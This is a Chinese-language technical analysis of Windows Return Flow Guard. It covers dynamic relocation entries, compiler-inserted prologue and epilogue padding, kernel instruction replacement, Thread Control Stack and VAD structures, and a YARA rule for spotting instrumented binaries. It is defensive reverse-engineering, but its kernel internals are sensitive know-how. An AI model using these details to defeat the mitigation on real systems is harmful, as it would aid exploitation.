typedef struct _IMAGE_DYNAMIC_RELOCATION {
    PVOID Symbol;
    DWORD BaseRelocSize;
//  IMAGE_BASE_RELOCATION BaseRelocations[0];
} IMAGE_DYNAMIC_RELOCATION, *PIMAGE_DYNAMIC_RELOCATION;

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
//  WORD    TypeOffset[1];
} IMAGE_BASE_RELOCATION;

其中,IMAGE_BASE_RELOCATION结构的Symbol指明了存储的项目里记录的是函数头还是函数尾的信息,定义如下:

#define IMAGE_DYNAMIC_RELOCATION_GUARD_RF_PROLOGUE 0x00000001
#define IMAGE_DYNAMIC_RELOCATION_GUARD_RF_EPILOGUE 0x00000002

而最后的IMAGE_BASE_RELOCATION是常规的重定位表项,记录了需要替换的nop指令的虚拟地址和偏移,每一项的绝对地址可以通过ImageBase + VirtualAddress + TypeOffset算出。

4 指令替换

4.1 编译阶段

在启用了RFG的映像中,编译器会在目标函数的函数序和函数尾中预留出相应的指令空间,这些空间以nop指令的形式进行填充。

插入的函数头(9字节)

函数头会被插入类似如下的指令序列,长度为9字节:

xchg    ax, ax
nop     dword ptr [rax+00000000h]

追加的函数尾(15字节)

函数尾会在rent指令后追加15字节指令空间,如下:

retn
db 0Ah dup(90h)
retn

为了减少额外开销,编译器还插入了一个名为_guard_ss_common_verify_stub的函数。编译器将大多数函数以jmp到该stub函数的形式结尾,而不是在每个函数尾部都插入nop指令。这个stub函数已经预置了会被内核在运行时替换成RFG函数尾的nop指令,最后以retn指令结尾,如下:

__guard_ss_common_verify_stub proc near
retn
__guard_ss_common_verify_stub endp
db 0Eh dup(90h)
retn

4.2 加载阶段

内核在加载启用了RFG的映像时,在创建映像的section过程中会通过nt!MiPerformRfgFixups,根据动态重定位表(IMAGE_DYNAMIC_RELOCATION_TABLE)中的信息,获取需要替换的起始指令地址,对映像中预留的nop指令序列进行替换。

替换的函数头(9字节)

使用MiRfgInstrumentedPrologueBytes替换函数头中的9字节nop指令,MiRfgInstrumentedPrologueBytes对应的指令序列如下:

mov     rax, [rsp]
mov     fs:[rsp], rax

替换的函数尾(15字节)

使用MiRfgInstrumentedEpilogueBytes,结合目标映像IMAGE_LOAD_CONFIG_DIRECTORY64结构中的__guard_ss_verify_failure()地址,对函数尾的nop指令进行替换,长度为15字节,替换后的函数尾如下:

mov     r11, fs:[rsp]
cmp     r11, [rsp] 
jnz     _guard_ss_verify_failure
retn

5 Thread Control Stack

为实现RFG,微软引入了Thread Control Stack概念,并在x64架构上重新使用了FS段寄存器。受保护进程的线程在执行到mov fs:[rsp], rax指令时,FS段寄存器会指向当前线程在线程控制栈上的ControlStackLimitDelta,将rax写入rsp偏移处。

进程内的所有用户模式线程使用Thread Control Stack上的不同内存区域(Shadow Stack),可以通过遍历进程的VAD自平衡二叉树(self-balancing AVL tree)获取描述进程Thread Control Stack的_MMVAD结构,索引的过程及结构体如下:

typedef struct _MMVAD {
  /* 0x0000 */ struct _MMVAD_SHORT Core;
  union {
    union {
      /* 0x0040 */ unsigned long LongFlags2;
      /* 0x0040 */ struct _MMVAD_FLAGS2 VadFlags2;
    }; /* size: 0x0004 */
  } /* size: 0x0004 */ u2;
  /* 0x0044 */ long Padding_;
  /* 0x0048 */ struct _SUBSECTION* Subsection;
  /* 0x0050 */ struct _MMPTE* FirstPrototypePte;
  /* 0x0058 */ struct _MMPTE* LastContiguousPte;
  /* 0x0060 */ struct _LIST_ENTRY ViewLinks;
  /* 0x0070 */ struct _EPROCESS* VadsProcess;
  union {
    union {
      /* 0x0078 */ struct _MI_VAD_SEQUENTIAL_INFO SequentialVa;
      /* 0x0078 */ struct _MMEXTEND_INFO* ExtendedInfo;
    }; /* size: 0x0008 */
  } /* size: 0x0008 */ u4;
  /* 0x0080 */ struct _FILE_OBJECT* FileObject;
} MMVAD, *PMMVAD; /* size: 0x0088 */

typedef struct _MMVAD_SHORT {
  union {
    /* 0x0000 */ struct _RTL_BALANCED_NODE VadNode;
    /* 0x0000 */ struct _MMVAD_SHORT* NextVad;
  }; /* size: 0x0018 */
  /* 0x0018 */ unsigned long StartingVpn;
  /* 0x001c */ unsigned long EndingVpn;
  /* 0x0020 */ unsigned char StartingVpnHigh;
  /* 0x0021 */ unsigned char EndingVpnHigh;
  /* 0x0022 */ unsigned char CommitChargeHigh;
  /* 0x0023 */ unsigned char SpareNT64VadUChar;
  /* 0x0024 */ long ReferenceCount;
  /* 0x0028 */ struct _EX_PUSH_LOCK PushLock;
  union {
    union {
      /* 0x0030 */ unsigned long LongFlags;
      /* 0x0030 */ struct _MMVAD_FLAGS VadFlags;
    }; /* size: 0x0004 */
  } /* size: 0x0004 */ u;
  union {
    union {
      /* 0x0034 */ unsigned long LongFlags1;
      /* 0x0034 */ struct _MMVAD_FLAGS1 VadFlags1;
    }; /* size: 0x0004 */
  } /* size: 0x0004 */ u1;
  /* 0x0038 */ struct _MI_VAD_EVENT_BLOCK* EventList;
} MMVAD_SHORT, *PMMVAD_SHORT; /* size: 0x0040 */

typedef struct _RTL_BALANCED_NODE {
  union {
    /* 0x0000 */ struct _RTL_BALANCED_NODE* Children[2];
    struct {
      /* 0x0000 */ struct _RTL_BALANCED_NODE* Left;
      /* 0x0008 */ struct _RTL_BALANCED_NODE* Right;
    }; /* size: 0x0010 */
  }; /* size: 0x0010 */
  union {
    /* 0x0010 */ unsigned char Red : 1; /* bit position: 0 */
    /* 0x0010 */ unsigned char Balance : 2; /* bit position: 0 */
    /* 0x0010 */ unsigned __int64 ParentValue;
  }; /* size: 0x0008 */
} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; /* size: 0x0018 */

typedef struct _RTL_AVL_TREE {
  /* 0x0000 */ struct _RTL_BALANCED_NODE* Root;
} RTL_AVL_TREE, *PRTL_AVL_TREE; /* size: 0x0008 */

typedef struct _EPROCESS {
    …
    struct _RTL_AVL_TREE VadRoot;
    …
}

由以上可知,可以通过_EPROCESS.VadRoot遍历VAD二叉树。如果_MMVAD.Core.VadFlags.RfgControlStack标志位被置1,则当前_MMVAD描述了Thread Control Stack的虚拟内存范围(_MMVAD.Core的StartingVpn, EndingVpn, StartingVpnHigh, EndingVpnHigh),相关的结构体如下:

typedef struct _MMVAD_FLAGS {
  struct /* bitfield */ {
    /* 0x0000 */ unsigned long VadType : 3; /* bit position: 0 */
    /* 0x0000 */ unsigned long Protection : 5; /* bit position: 3 */
    /* 0x0000 */ unsigned long PreferredNode : 6; /* bit position: 8 */
    /* 0x0000 */ unsigned long NoChange : 1; /* bit position: 14 */
    /* 0x0000 */ unsigned long PrivateMemory : 1; /* bit position: 15 */
    /* 0x0000 */ unsigned long PrivateFixup : 1; /* bit position: 16 */
    /* 0x0000 */ unsigned long ManySubsections : 1; /* bit position: 17 */
    /* 0x0000 */ unsigned long Enclave : 1; /* bit position: 18 */
    /* 0x0000 */ unsigned long DeleteInProgress : 1; /* bit position: 19 */
    /* 0x0000 */ unsigned long PageSize64K : 1; /* bit position: 20 */
    /* 0x0000 */ unsigned long RfgControlStack : 1; /* bit position: 21 */ 
    /* 0x0000 */ unsigned long Spare : 10; /* bit position: 22 */
  }; /* bitfield */
} MMVAD_FLAGS, *PMMVAD_FLAGS; /* size: 0x0004 */

typedef struct _MI_VAD_EVENT_BLOCK {
  /* 0x0000 */ struct _MI_VAD_EVENT_BLOCK* Next;
  union {
    /* 0x0008 */ struct _KGATE Gate;
    /* 0x0008 */ struct _MMADDRESS_LIST SecureInfo;
    /* 0x0008 */ struct _RTL_BITMAP_EX BitMap;
    /* 0x0008 */ struct _MMINPAGE_SUPPORT* InPageSupport;
    /* 0x0008 */ struct _MI_LARGEPAGE_IMAGE_INFO LargePage;
    /* 0x0008 */ struct _ETHREAD* CreatingThread;
    /* 0x0008 */ struct _MI_SUB64K_FREE_RANGES PebTebRfg;
    /* 0x0008 */ struct _MI_RFG_PROTECTED_STACK RfgProtectedStack;
  }; /* size: 0x0038 */
  /* 0x0040 */ unsigned long WaitReason;
  /* 0x0044 */ long __PADDING__[1];
} MI_VAD_EVENT_BLOCK, *PMI_VAD_EVENT_BLOCK; /* size: 0x0048 */

typedef struct _MI_RFG_PROTECTED_STACK {
  /* 0x0000 */ void* ControlStackBase;
  /* 0x0008 */ struct _MMVAD_SHORT* ControlStackVad;
} MI_RFG_PROTECTED_STACK, *PMI_RFG_PROTECTED_STACK; /* size: 0x0010 */

创建开启RFG保护的线程时,会调用 nt!MmSwapThreadControlStack设置线程的ETHREAD.UserFsBase。具体做法是通过MiLocateVadEvent检索对应的_MMVAD,然后通过如下计算设置线程的ETHREAD.UserFsBase:

ControlStackBase = MMVAD.Core.EventList.RfgProtectedStack.ControlStackBase
ControlStackLimitDelta = ControlStackBase - (MMVAD.Core.StartingVpnHigh * 0x100000000 + MMVAD.Core.StartingVpn ) * 0x1000
ETHREAD.UserFsBase = ControlStackLimitDelta

不同线程在Thread Control Stack上对应的Shadow Stack内存范围不同,如果当前线程对应的Shadow Stack内存范围是ControlStackBase ~ ControlStackLimit,则ControlStackLimit = _KTHREAD.StackLimit + ControlStackLimitDelta ,因此UserFsBase中实际存放的是ControlStackLimit与StackLimit的偏移值。这样,多个线程访问Shadow Stack时,使用的是Thread Control Stack上不同的内存区域,实际访问的内存地址为ETHREAD.UserFsBase + rsp。

6 实际使用

我们编写了一个简单的yara签名来检测带有RFG插桩的文件。

rule rfg {
    strings:
        $pe = { 4d 5a }
        $a = { 66 90 0F 1F 80 00 00 00 00 }
        $b = { C3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 C3 }
        $c = { E9 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 E9 }

    condition:
        $pe at 0 and $a and ($b or $c)
}

用法:

yara64.exe -r -f rfg.yara %SystemRoot%

从结果中可以看出,在这个版本的Windows里,大部分系统文件已经带有RFG支持了。
这里我们用IDA Pro和WinDbg检查一个带RFG的calc.exe。

.text:000000014000176C wWinMain
.text:000000014000176C                 xchg    ax, ax
.text:000000014000176E                 nop     dword ptr [rax+00000000h]

动态指令替换之前的入口点

0:000> u calc!wWinMain
calc!wWinMain:
00007ff7`91ca176c 488b0424        mov     rax,qword ptr [rsp]
00007ff7`91ca1770 6448890424      mov     qword ptr fs:[rsp],rax

动态指令替换之后的入口点

7 参考资料

Exploring Control Flow Guard in Windows 10 Jack Tang, Trend Micro Threat Solution Team
http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-flow-guard-in-windows10.pdf

]]>